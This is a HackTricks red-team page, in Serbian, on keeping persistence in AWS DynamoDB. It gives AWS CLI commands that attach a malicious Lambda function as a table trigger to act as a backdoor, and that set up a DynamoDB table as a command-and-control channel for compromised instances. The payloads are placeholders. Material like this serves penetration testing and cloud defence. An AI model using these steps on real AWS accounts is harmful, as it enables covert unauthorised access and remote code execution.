AWS - DynamoDB Persistencija

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

DynamoDB

Za više informacija pristupite:

AWS - DynamoDB Enum

DynamoDB okidači sa Lambda backdoor

Koristeći DynamoDB okidače, napadač može kreirati neprimetan backdoor povezivanjem zlonamerne Lambda funkcije sa tabelom. Lambda funkcija može biti okinuta kada se stavka doda, izmeni ili obriše, omogućavajući napadaču da izvrši proizvoljan kod unutar AWS naloga.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Da bi održao pristup, napadač može da kreira ili izmeni stavke u DynamoDB tabeli, što će pokrenuti malicioznu Lambda funkciju. Ovo omogućava napadaču da izvršava kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom.

DynamoDB as a C2 Channel

Napadač može koristiti DynamoDB tabelu kao command and control (C2) channel tako što će kreirati stavke koje sadrže komande i koristiti kompromitovane instance ili Lambda functions da preuzmu i izvrše te komande.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Kompromitovane instances ili Lambda functions mogu periodično proveravati C2 table za nove komande, izvršavati ih i opciono prijavljivati rezultate nazad u tabelu. Ovo omogućava napadaču da održi perzistenciju i kontrolu nad kompromitovanim resursima.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks